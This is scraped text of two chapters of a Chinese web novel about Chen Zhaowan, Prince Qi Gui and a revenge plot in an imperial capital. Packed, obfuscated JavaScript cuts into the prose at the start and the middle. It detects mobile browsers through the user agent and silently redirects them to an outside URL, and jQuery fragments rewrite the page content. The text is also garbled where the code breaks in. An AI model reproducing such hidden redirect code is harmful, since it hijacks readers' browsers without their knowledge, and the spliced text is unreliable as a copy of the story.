l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509725|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里都在骂祁归多管闲事。 祁归也不是傻子,自然是能听出来的。 他嘲讽地笑道:“今日朱雀大街弄脏了姑娘的衣服,实在抱歉,改日遣人为姑娘再做一套送至府上,以示赔礼。” “五殿下的诚意臣女心领了,至于新衣裳便不用了,脏了件衣裳而已,不打紧。”陈昭绾赶忙拒绝道。 当今圣上最忌臣子与这几位皇子有所勾结,若是她答应了祁归,改日新衣裳真送到府上传到皇帝耳中,别说她了,赤申琅也百口莫辩。 她也曾身处皇家,被帝王猜忌的后果她最是清楚。 她抬眼看向祁归,对方似笑非笑的神情看得她心下一股无名火,这人怎会不知自己话中的含义,分明就是在算计她。 “既然赤申姑娘拒绝了,那我也不便强求,天色已晚,刺客尚未捕获,二位姑娘势单力薄,遭了歹人就遭了,我送二位姑娘回府罢。” 说罢,祁归瞥了眼陈昭绾,后者没有说话,也没有拒绝。 她低头沉思着,不知在想些什么。 祁归和守城的门将打了声招呼,城门大开,将四人放进了城中。 严既明匆忙回到马车上,嘴里倒是一刻没闲,刚上车便问道:“你阿姐和五殿下认识?” “不知道。”赤申惊鹊摇头,她哪里清楚这便宜姐姐究竟什么时候认识的五殿下。 然而正当二人疑惑时,陈昭绾冷不丁地说道:“不认识。” “啊?”赤申惊鹊和严既明齐声发问道。 “我与五殿下并不相识。”陈昭绾再次重复了一遍方才的话,她掀开帘子望着祁归淋雨的身影,低声喃喃道:“他的身子骨还像以前那般弱吗?” 声音低到只有她自己能够听清,也不知是在问谁。 祁归以前倒是一点雨都淋不得,思绪不觉间便飘到了前世少年时候,陈昭绾记得自己当时高烧不退,祁归冒雨给她送药,说那是他们燕人的药方,包治百病。 天真的少年一心只想着心上人的病,却忘了她是金枝玉叶的公主啊,那么多宫人在呢,就算是太医的脑袋掉了,也会想尽一切办法救治她的。 结果第二天祁归就病倒了,比她还严重,后来她病好之后还专门跑去祁归的住处嘲笑他,说:“你们燕戎人的药不是说包治百病吗?你怎的自己还病倒了?” 她那时候笑他是个“痴傻”之人,没想到他…… 陈昭绾的手再次攥紧了衣角,马车外传来祁归勒马的声音,缰绳在祁归手上一紧,马匹发出嘶鸣,在赤申府外停下了步伐。 “到了。”祁归说道。 小翠掀起帘子,陈昭绾与赤申惊鹊一同下车。 “多谢五殿下。”陈昭绾行礼客气道,随后转身踏上赤申府的石阶,朝门内走去。 祁归平静地坐在马上,目光紧盯着陈昭绾,开口叫道:“赤申姑娘。” 赤申惊鹊走得快,早已踏进门槛,并未听到祁归的声音。 陈昭绾走在后面,听到祁归的声音后,应声回头。 “这是治创口的伤药,不会留疤。”说着,他从怀里掏出一小瓶白瓷瓶装着的白色粉末,与严既明在马车上拿出来的一模一样。 他抬手轻轻一抛,瓷瓶精准地落到陈昭绾手中,继续说道:“赤申姑娘,有些事还是不掺和地好。” 陈昭绾如同没听见一般,将瓷瓶稳稳握在手中,向祁归遥遥行礼道:“谢殿下。” 她转身步入院中,赤申府的大门在她身后重重闭上。 “啧啧啧,我给你的祖传秘方,你就这么送人了?”严既明看热闹一般走上前去,感叹道。 10. 第十章 祁归好似全然没有听到严既明的话似的,他没有接下对方的话,只是目光在赤申府朱漆的木门前停留片刻。 此时雨势渐小,严既明的声音愈发烦人,喋喋不休地萦绕在他耳侧,仿佛拿准了祁归无心理会他的心思,语气中更带着几分肆意妄为。 “不过可惜,一番好意付诸东流,人家压根就没有这心思,方才在马车上还说与你不相识呢。”严既明佯作惋惜地说道。 祁归在雨幕中收回目光,手中的缰绳微动,身下的马匹调转方向,朝来时的路走去。 他头也不回地给严既明撂下一句话:“不相识最好。” “做什么?火药味这么重?”严小侯爷对祁归的态度颇为不满,小跑着便追了上去,誓要问个清楚。 “待会儿林川来了我便要他送你回侯府,莫止散席归家途中突遇刺客,如今尚未寻到,平京城内不太平。”祁归神情严肃地说道。 “什么?!莫将军又遇刺了?一日遭到两回暗杀,多招人恨啊。”严既明咂舌道。 莫止出身微末,自太祖时期便跟随军队四处征战,凭借过人的胆识立下赫赫战功,一路走到定北将军的位置。 死在他刀下的冤魂不可计数,攻破大靖期间更是屠戮全城,有人想要治他于死地再正常不过。 只是……祁归想不明白,为何有人会一天连续两次被行凶呢? 定北将军并非等闲之辈,若是真想杀他行动怎会这般儿戏,像是想要故意引起注意似的,莫不是…… 有意的? “在想什么?”严既明看着祁归越皱越紧的眉头问道。 “我在想……”祁归的话还未说出口便被人打断了。 前方的深巷中有人纵马前行,马蹄踏入水洼溅起一片水花。 严既明定睛一看,原是祁归身边的贴身护卫,林川。 对方猛得一勒缰绳,马匹乖乖在祁归面前停下,他翻身下马行礼道:“殿下。” “莫止怎么样了?”祁归问道。 “莫将军已无大碍,只是……”林川犹豫片刻,似乎在衡量要不要把话继续说下去。 祁归看出了他的为难,命令道:“只是什么?继续说。” “莫将军身边的副将身受重创,已……气绝身亡,陛下龙颜大怒,命殿下不顾一切也要巡出凶手。” 祁归垂眼看着手中的缰绳静默片刻,说道:“我知道了,你将严小侯爷送回侯府。” 林川应声称是,将严既明拉上马,带着他朝侯府的方向狂奔而去。 赤申府的灯笼高高挂起,照着祁归远去的身影,春风乍起。 本应温暖和煦的画面,此刻却略显孤寂。 祁归的思绪随着马蹄声渐渐远去,陈夫人的身影在赤申琅眼前晃得头晕。 “夫人。”赤申琅右手扶额,闭了闭眼无奈说道:“夫人走累了吧,坐下来歇歇?” 自家夫人是个急性子的,赤申琅其实早已习惯,但每次这个时候他都要劝上几句。 尽管陈夫人不会听他的…… “我哪里歇得下来??老爷话说得容易,看看外面的天色,这两个丫头这个时辰了还未归家,叫我怎么放心得下?” 陈夫人和赤申惊鹊的性子简直如出一辙,此刻心中焦急万分,哪里还顾得上自己的顽疾啊。 “夫人莫急,身子重要。”赤申琅起身揽过陈思文的肩,边将人往座椅上带,边耐心劝说道:“小孩贪玩晚归也是正常的,我这就差人去寻。” 赤申琅给连嬷嬷使了个眼色,连嬷嬷赶忙说道:“奴婢已差人去寻,夫人切莫思虑过重,小心再伤了身子。” 连嬷嬷话音落后,赤申琅用余光看向陈思文,后者皱着的眉头舒展了许多。 于是他在陈思文身边坐下,拿起茶盏递向嘴边笑着说道:“连嬷嬷说的对,身子重要……” “父亲!母亲!”赤申琅话音方落,院外便传来赤申惊鹊的声音,活泼松快的语气打破了屋内焦急的氛围。 不待陈思文起身去迎,赤申惊鹊霁青色的裙裾早已抚过落在地上的山茶花,步子轻快地跨入正堂的门槛之中,说道:“父亲,母亲,我回来了。” 陈昭绾跟在赤申惊鹊身后缓缓踏过门槛,走进屋内在她身后站定。 陈思文见女儿平安回府,悬着的心落了地,赤申琅心下也跟着松了口气。 未等赤申琅放下茶盏,陈思文便快步走上前去将赤申惊鹊揽入怀中,说道:“你这孩子,跑哪儿去了?!也不想着差人回来传个话!” 陈夫人的声音逐渐哽咽起来,赤申琅连忙放下茶盏走上前去安慰。 “母亲放心,我这不是平安回来了吗?何况……还有阿姐在呢。”赤申惊鹊从陈思文怀中挣脱出来,移开身子将身后的陈昭绾露了出来。 陈思文听到“阿姐”的时候明显地顿了下,与赤申惊鹊一同看向陈昭绾。 陈昭绾垂头说道:“是阿绾的错,今日头次上街,顿觉新奇,便带着惊鹊姑娘逛得忘了时辰。” “阿绾你身上的怎会有血?!”陈夫人的目光下移,看到陈昭绾素色衣裳上的鲜血,惊呼道:“可是受伤了?!哎呀这脸上的伤!连嬷嬷快去寻些伤药,要最好的,这伤万不能留疤。” “阿绾并无大碍。” “那你身上的鲜血如何而来?脸上的伤又是怎么回事?”赤申琅说道。 他本无意过问二人的去向,但他深知自己与夫人为一体,眼前之人是夫人的侄儿,那便也是他的侄儿,若是有什么闪失叫他日后如何面对自己夫人啊。 “回大人的话,这血是今日在街上所染,当时恰逢五殿下与定北军一同入城,却不知哪家公子口出狂言冲撞了五殿下,殿下惩戒此人时不小心被牵连了,大人与夫人不必担心,殿下已给过阿绾伤药了。” 即使陈昭绾入府一年有余,在陈思文和赤申琅面前说话却依然是客客气气,没有丝毫逾矩。 陈思文看向陈昭绾,叹了口气,初入府时同她说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509726|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次,在自家院子里不必拘谨,可她每次应得好好的,没两天便又成了原本的样子,和所有人都保持着距离感。 陈思文也只当她是多年未见她这个姑母,与她生疏了,于是由着她去了。 她倒是希望陈昭绾能如赤申惊鹊般自在,也好减轻些她的愧疚。 眼前之人与她那过世的哥哥嫂嫂太像了,看到她便会想起他们,心中的伤痛又多了几分。 “没事就好,没事就好,阿鹊呢?有无大碍?”赤申琅听到陈昭绾说自己没受伤,松气之余转头想起自家女儿。 “父亲这才想起女儿啊!哼!我好着呢!”赤申惊鹊对于赤申琅先关心陈昭绾的行为十分不满。 这人真是的,自己刚对她改观一点,她就要出来分走自己享受的宠爱。 不过看在她今天帮自己拿回钱袋的面子上先放过她好了,改天定叫她好看! “也是,你这丫头若是有个闪失,定然不会如此安静,早就大呼小叫地叫整个赤申上下都知道了。”赤申琅笑着打趣道。 “略略略。”赤申惊鹊做了副鬼脸回应赤申琅的话。 连嬷嬷手中拿着伤药走到陈昭绾面前说道:“姑娘快坐,我替姑娘上药。” “不劳连嬷嬷了,我自己来罢。”陈昭绾接过连嬷嬷手中的伤药,转身朝赤申琅和陈思文行礼道:“赤申大人,陈夫人,阿绾这身装扮恐脏了二位的眼,现下先去沐浴更衣了。” 陈思文也觉得过意不去,说笑间一时竟忘了陈昭绾衣裳上的污渍:“快去快去,在外逛了一天也累了,早些休息。” “是。” 陈夫人又像是想起来什么似的,皱眉嘱咐道:“记得让海棠及时替你上药!留疤可就遭了。” “好。” 今晚的月亮又大又亮,陈昭绾独自走回小院,海棠在院门口急得团团转,直到见到她的身影出现在眼前,才冲上去拉住她的手。 “姑娘你可回来了!”海棠说道:“我和小荷可担心坏了!” “人平安送出城了吗?”陈昭绾问道。 “送出去了,我与小荷亲自将公子送出城的。” “平安出城就好,城中恐有不测,方才入城时城门戒备森严,定是五殿下下的令,只怕是发现咱们偷梁换柱了,日后小心些好。” “姑娘快别说了,奴婢看您脸上的伤还未上药,快进屋!”海棠说道,“热水已经为姑娘准备好了,姑娘沐浴更衣后奴婢为您上药。” 浴桶摆放在房间中央,外围挡着一层屏风,屋内热气升腾,热水弥漫着氤氲的雾气。 陈昭绾褪去浴袍踏入水中,整个人缓缓浸入铺满花瓣的水中。 在热水的浸润下,一天的疲惫消失不见。 她的思绪将白日里的情报编织成网络,与白雾缠绕在一起…… 依照燕朝的律例,边关大将若非立了大功或圣上急招不得回京,如今莫止回城,恐怕是她复仇的好时机……可前世他究竟和皇兄说了什么呢?